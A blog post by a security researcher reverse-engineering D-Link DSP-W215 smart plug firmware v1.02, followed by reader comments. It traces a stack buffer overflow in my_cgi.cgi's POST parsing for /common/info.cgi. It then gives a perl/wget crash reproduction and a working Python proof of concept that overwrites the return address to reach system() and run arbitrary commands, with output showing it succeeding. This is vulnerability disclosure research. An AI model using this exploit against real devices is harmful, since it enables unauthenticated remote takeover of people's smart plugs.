Hacking the DSP-W215, Again

D-Link recently released firmware v1.02 for the DSP-W215 to address the HNAP buffer overflow bug in my_cgi.cgi. Although they were quick to remove the download link for the new firmware (you must “Use mobile application to upgrade device”), I grabbed a copy of it before my trip to Munich this week, and the 8 hour flight provided plenty of quality reversing time to analyze the new firmware more closely.

Unfortunately, the HNAP bug was just the beginning of the smart plug’s problems.

The lighttpd config file shows that the my_cgi.cgi binary is used to handle multiple page requests, not just HNAP:

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",
               "/router_info.xml" => "/www/my_cgi.cgi",
               "/post_login.xml" => "/www/my_cgi.cgi",
               "/get_shareport_info" => "/www/my_cgi.cgi",
               "/secmark1524.cgi" => "/www/my_cgi.cgi",
               "/common/info.cgi" => "/www/my_cgi.cgi"
)

The my_cgi.cgi’s main function has two basic code branches; one for HNAP requests, and one for everything else:

Conditional branch for HNAP vs CGI requests

Conditional branch for HNAP vs CGI requests

If the HTTP request was not for HNAP (e.g., /common/info.cgi), and if the request was a POST request, then my_cgi.cgi next grabs several HTTP request headers, including Content-Length:

strtol(getenv(

strtol(getenv(“CONTENT_LENGTH”), 10);

As long as the content length is greater than zero, the get_input_entries function is called, which is responsible for reading and parsing the POST parameters:

get_input_entries(&entries, content_length);

get_input_entries(&entries, content_length);

The get_input_entries function takes two arguments: a pointer to an entries data structure, and the size of the POST data (aka, the content length):

struct entries
{
    char name[36];      // POST paramter name
    char value[1025];   // POST parameter value
};

// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);

This is particularly suspect, as the only length parameter that is passed to get_input_entries is the content length that was specified in the HTTP request, and the structure pointer is a pointer to a local stack variable in the main function:

int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes

content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));

num_entries = get_input_entries(&my_entries, content_length);

Sure enough, get_input_entries has an fgetc loop (nearly identical to the fgetc loop that caused the HNAP vulnerability), which parses out the POST names and values and blindly stores them in the entries data structure:

The fgetc for loop

The fgetc for loop

fgetc(stdin) inside the for loop

fgetc(stdin) inside the for loop

Value read from fgetc is stored in the name/value members of the entries data structure

Value read from fgetc is stored in the name/value members of the entries data structure

Since the entries data structure in this case is a stack variable in main, an excessively long POST value will cause get_input_entries to overflow main’s stack.

In order to prevent crashing prematurely before returning to main (more on this in another post…), we want to exit the get_input_entries function as quickly as possible. This is most easily done by specifying a single POST parameter named “storage_path”, as most of the remaining code in get_input_entries is skipped if this POST parameter is encountered:

Checking the entry name for "storage_path"

Checking the entry name for “storage_path”

Looking back at the stack layout for main, we can see that the start of the entries data structure is 0×74944 bytes away from the saved return address on the stack:

Stack layout of the main function

Stack layout of the main function

Since the POST name takes up the first 36 bytes of the data structure, a POST value of 477472 (0×74944-36) bytes will overflow everything on the stack up to the saved return address:

# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi
$ra overwritten with 0x41414141

$ra overwritten with 0×41414141

With control of $ra, we can now return to the same system() call that was used in the HNAP overflow in order to execute arbitrary commands:

system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code:

#!/usr/bin/env python

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "storage_path="      # POST parameter name
buf += "D" * (0x74944-36)   # Stack filler
buf += "\x00\x40\x5C\xEC"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

Which works quite handily against the new firmware:

./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 17 15:42 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxr-x    3 1000     1000         4096 May 20 17:10 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    8 1000     1000         4096 May 17 15:15 www
Bookmark the permalink.

6 Responses to Hacking the DSP-W215, Again

  1. Jose Xavier says:

    You are starting to be my hero :)

  2. Perhaps D-Link should consider consulting you prior to releasing their firmware :D In any case, I always enjoy reading about reversing adventures like these, even if I do end up cringing at the thought of just how many other similar vulnerabilities might be floating out there in the wild.

  3. DimkaS says:

    D-Link should be angry with you soon :) Thank you for such detailed and easy to understand posts!

  4. axet says:

    how to fix future security issues / bugs? if you dlink – you just remote firmware from public downloading…

  5. Pingback: Hacking the DSP-W215, Again, Again - /dev/ttyS0

  6. Pingback: Hacking the DSP-W215, Again, Again, Again - /dev/ttyS0

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>